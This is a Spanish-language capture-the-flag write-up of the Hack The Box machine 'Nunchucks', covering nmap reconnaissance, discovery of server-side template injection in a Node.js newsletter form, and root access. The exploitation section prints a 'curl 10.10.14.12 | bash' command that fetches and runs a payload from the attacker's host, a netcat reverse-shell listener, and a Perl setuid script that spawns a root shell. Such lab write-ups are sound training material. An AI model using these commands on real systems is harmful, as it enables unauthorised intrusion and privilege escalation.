PING 10.10.11.122 (10.10.11.122) 56(84) bytes of data.
64 bytes from 10.10.11.122: icmp_seq=1 ttl=63 time=170 ms
--- 10.10.11.122 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 169.786/169.786/169.786/0.000 ms
Podemos notar que se trata de una maquina Linux, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.11.122 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-03 02:15 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:15
Completed NSE at 02:15, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:15
Completed NSE at 02:15, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:15
Completed NSE at 02:15, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 02:15
Completed Parallel DNS resolution of 1 host. at 02:15, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 02:15
Scanning 10.10.11.122 [65535 ports]
Discovered open port 80/tcp on 10.10.11.122
Discovered open port 22/tcp on 10.10.11.122
Discovered open port 443/tcp on 10.10.11.122
Completed SYN Stealth Scan at 02:15, 14.59s elapsed (65535 total ports)
Initiating Service scan at 02:15
Scanning 3 services on 10.10.11.122
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+) '
Completed Service scan at 02:15, 13.48s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.122.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:15
Completed NSE at 02:15, 7.07s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:15
Completed NSE at 02:16, 2.26s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:16
Completed NSE at 02:16, 0.00s elapsed
Nmap scan report for 10.10.11.122
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-03 02:15:22 -03 for 38s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCq1JmckuJo2Y9YNiQEI6OM3uM/w5Nb9D6oOZkigNfQ5MY0FzdfAac2tfeV9JekpB0i3QvwaIg8ZFM3qpaVWgCYOwPKXDUdkPaDcjoUGDJKQ+ozI22JsGLhW18LdpZkqhsa9kSwID7hj6PjtJM0e7+t6oQlgbKBpAIfIWai8zcXfIuJpN5VzT9Ix7btb4yZ3DrSskDJsFgFpDMN3aDTCsCy2noKDm5mlUlJ7w28Qa6+Ju7JaSdyc0k6ftFQ1PImyLjoOefWp/5UxztBbWk191WJApoOJC0IUOz8kbbkCDEtIh7kwdX65uDJ86L+KGdlCPlB4svIpwhYgkkg7GAJXP9Ti7uZHsrxahbI6LZRLuX1X6guWaq/PPz8tmVfcjY7ggh1nAa+wUgU67X/zTie4J+BiJW3wGvGAiEetUs5fJ/CA/BIfQAijCVlJ4yGJ95cUmALeiRRYJJpq4BpZTC6RgUQIHr+Yv6wyKuVY9GPwdd2+SEuXG+jjim1SkqtErrlpuk=
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAM6D7HHa0rYKxL/Crh7HeTDHOjrvQGyLngKIOz+M9iLI8+XkEpa0iPsGo4uob5Sj4iKN+QPjYwX2wfDUPb/3PA=
| 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICav37LXta1VOXvC+x3kcTq8ssxpygmnuLwsPSOw2GA0
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK/localityName=Bournemouth
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Issuer: commonName=Nunchucks-CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-08-30T15:42:24
| Not valid after: 2031-08-28T15:42:24
| MD5: 57fc:410d:e809:1ce6:82f9:7bee:4f39:6fe4
| SHA-1: 518c:0fd1:6903:75c0:f26b:a6cb:e37d:53b8:a3ff:858b
| -----BEGIN CERTIFICATE-----
| MIIDfzCCAmegAwIBAgIUKxAbJZWVom8Q586tlGzfX5kvDOowDQYJKoZIhvcNAQEL
| BQAwJDELMAkGA1UEBhMCVVMxFTATBgNVBAMMDE51bmNodWNrcy1DQTAeFw0yMTA4
| MzAxNTQyMjRaFw0zMTA4MjgxNTQyMjRaMG0xCzAJBgNVBAYTAlVLMQ8wDQYDVQQI
| DAZEb3JzZXQxFDASBgNVBAcMC0JvdXJuZW1vdXRoMR8wHQYDVQQKDBZOdW5jaHVj
| a3MtQ2VydGlmaWNhdGVzMRYwFAYDVQQDDA1udW5jaHVja3MuaHRiMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7f8kUO3+Tg/tliYC6DTdaQMz8kQflhXE
| SFcXtvq0YW7+d83N1eHl1Cofk31roKIloTsWk+WvQfzBnzDT9Jlo2CT/c2Q8pxAD
| rJDvmrRlx5g6lGfB44/YUx1crjka44FPcwWbSUQ3RJznJ8jbD+mVuGXIK36BAd0l
| SYcIYbDwoE+7DTpP5FI+u8usIFyHo8CBllv6eXf2vOSAZ2xfyEG9fKC2fA3QOn9k
| kFQS7jM8QDnfi3El6nz2LkceIR6j4yCBTMP0306Q1h5HxzBRN61vHatbgZBHMuk5
| J6SU17lDk0ZWOAndm8GZ5oqXb1izqCI+br98gmNiDI3O8iXXD+WUXwIDAQABo2Aw
| XjAfBgNVHSMEGDAWgBTGviN/t7q7DX8/lk5dNecH/45EDjAJBgNVHRMEAjAAMAsG
| A1UdDwQEAwIE8DAjBgNVHREEHDAagglsb2NhbGhvc3SCDW51bmNodWNrcy5odGIw
| DQYJKoZIhvcNAQELBQADggEBAFBbtVQXf2UcbXroFdEjCGfjcAH9ftCFtCD8ptBm
| CMD8W/WyFnJ17IVjVoatfZimg5KunneNEHfMpxXe7+YMHY3qxgHmJCeVJA2l04hS
| PTWljwqfaK50zivBs7+TYTccZPz/F83upQsPVdWCIOtH3Qq9A4Ox+dLvIVA+geGH
| Bbp0uZowM3k/rW2nqBaBkpxOlHrahxgUr4Hz9/j4dilw/Y3OUEvegDN9D5Cvh69f
| pQ8UwDx0nqYtCRF/M44LFGlmgjQBZqqijvkCVV4jZRNfPQEeuxd7OnDddgQLwMK1
| DKIK3Eqo7fLLlXqQBQgg6X0UbN9RsWjD8vq1uc2iQDUH9To=
|_-----END CERTIFICATE-----
|_http-favicon: Unknown favicon MD5: 4BD6ED13BE03ECBBD7F9FA7BAA036F95
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:16
Completed NSE at 02:16, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:16
Completed NSE at 02:16, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:16
Completed NSE at 02:16, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.47 seconds
Raw packets sent: 71319 (3.138MB) | Rcvd: 71107 (2.844MB)
Se ven puertos como el 22(OpenSSH 8.2p1) correspondiente a un servidor SSH para control remoto vía consola de manera "segura", el puerto 80(nginx 1.18.0) correspondiente a un servidor web, y el puerto 443 correspondiente al puerto estándar para la comunicación segura entre un navegador web y un servidor web(HTTPS)
1.3 whatweb
Antes de realizar el escaneo de whatweb, vamos a hacer que la IP de la maquina de Hack The Box "10.10.11.122" apunte o haga la resolución DNS hacia "nunchucks.htb", para eso modificaremos el archivo "/etc/hosts":
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nvim /etc/hosts
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 t0mz
# HACK THE BOX
10.10.11.122 nunchucks.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─#
De tal manera que ahora en whatweb podemos especificarle el domino "nunchucks.htb"
Para enumerar posibles subdominios que se encuentren dentro de "nunchucks.htb", vamos a utilizar gobuster con un diccionario que elegí dentro del repositorio de "SecLists"
Podemos ver las siguientes tecnologias web dentro del subdominio:
Boostrap
nginx 1.18.0
JQuery
Tambien podemos hacer un reconocimiento de tecnologías web con la extensión de Wappalyzer
Para descárganos la extensión vamos a irnos a las extensiones de Firefox, en el siguiente boton:
Y vamos a buscar la extensión de Wappalyzer y dar ENTER:
Concretamente nos interesa la extensión mencionada:
Add to Firefox:
Add:
Ahora vamos de vuelta donde tenemos las extensiones de Firefox:
Vamos a darle en el engranaje y "Pin to Toolbar"
De tal manera que ahora podemos realizar el reconocimiento de tecnologías web con Wappalyzer, vamos a irnos al subdominio encontrado y vamos a ver que resultados nos da:
Podemos ver las diferentes tecnologías webs encontradas, entre ellas que la pagina esta programada con el lenguaje de programación "Node.js"
2- Explotación
2.1 SSTI(Server Side Template Injection)
Si nos vamos al subdomio "store.nunchucks.htb", veremos un formulario para suscribirnos a una newsletter de la pagina aparentemente, vamos a probar un correo random:
Es probable que como la entrada que ingrese dentro del formulario de correo electrónico, se ve reflejada de la misma manera en la pagina web, estemos frente a un SSTI o Server Side Template Injection
Así que vamos a probar algo simple, dentro del formulario vamos a ingresar lo siguiente:
{{2*2}}@test.com
Si la pagina nos devuelve el resultado de 2*2, entonces estaríamos ante un SSTI:
Podemos ver que verificamos que esta pagina web es vulnerable a SSTI
Si recordamos en el reconocimiento de tecnologías web de Wappalyzer, pudimos ver que el lenguaje de programación utilizado por este sitio web es "Node.js", entonces podríamos buscar un payload en GitHub que este realizado en "Node.js", en mi caso utilizare el siguiente payload:
Vamos a ponerlo en la pagina del subdominio, aunque nos va a dar un error, ya que necesitamos ingresar un correo electrónico como tal, este código contiene muchos caracteres especiales entre otros:
Entonces ahora es cuando entra en juego Burp Suite para saltarnos la restricción del correo electrónico
Vamos a abrir Burp Suite y nos vamos a ir a la pestaña de "Proxy":
Vamos a ir a la configuración del proxy de Burp, en la subpestaña de "Proxy settings":
Vemos que el proxy, esta configurado con la IP 127.0.0.1 por el puerto 8080, pero en este caso no vamos a utilizar Firefox, ya que el trafico es HTTPS en el dominio "nunchucks.htb", si no que vamos a utilizar el propio navegador de Burp, si volvemos a la pestaña de "Proxy":
Vamos a darle "Open browser"
Y vamos a ingresar al subdominio correspondiente(Quitando el modo intercepción):
Y volvemos a activar el modo intercepción de Burp:
Ahora vamos a volver a la pagina del subdominio y vamos a intentar con un correo de prueba:
Y volvemos a Burp Suite:
Vemos que podemos modificar el siguiente campo:
{
"email":"test@test.com"
}
Vamos a poner el payload, de tal manera que quedaria de la siguiente forma:
Y ahora vamos a alojar un servidor web con Python dentro de nuestro Kali donde hayamos guardado el archivo .HTML malicioso:
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Y en otra consola de Kali, vamos a ponernos en escucha con netcat por el puerto 443:
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nc -nlvp 443
listening on [any] 443 ...
Y volvemos a Burp Suite, al repeater, y vamos a bajarnos con "curl" el archivo malicioso .HTML que alojamos en nuestro servidor web con el siguiente comando:
curl {IP VPN HTB} | bash
En mi caso quedaria de la siguiente forma:
curl 10.10.14.12 | bash
Lo enviamos con "Send":
Se quedara cargando, pero si volvemos a la consola donde teniamos netcat en escucha por el puerto 443:
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.122] 41128
bash: cannot set terminal process group (1007): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$
Ya tendriamos una reverse shell de la maquina objetivo
2.3 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "/home/david/user.txt", vamos a visualizarla:
Para escalar los privilegios, primero necesitamos saber que podemos hacer con el usuario "david" que obtuvimos de la reverse shell, para eso vamos a utilizar el siguiente comando:
Podemos ejecutar el lenguaje de programación Perl"/usr/bin/perl" con permisos "SETUID" por lo que podríamos utilizar un script en Perl para realizar una escalada de privilegios local(LPE),
En mi caso utilizare el siguiente código de Perl:
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash -p";
Vamos crearlo y a guardarlo como si fuera un script en bash, con extensión ".sh":
Y vamos a montarnos un servidor web en Python donde tengamos el script Bash para el LPE en nuestro Kali para descárganoslo dentro de la maquina objetivo:
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Y vamos a irnos a la reverse shell que obtuvimos, concretamente al directorio "/tmp"
david@nunchucks:/var/www/store.nunchucks$ cd /tmp
cd /tmp
david@nunchucks:/tmp$
El tratamiento de la TTY corresponde hacerlo cuando debemos hacer muchas cosas con una reverse shell y necesitamos realizar algunas tareas como utilizar un editor de texto en consola, entre otras
3.4 Obtención de la flag root
La flag de root se encuentra dentro de la ruta absoluta "/root/root.txt", vamos a visualizarla: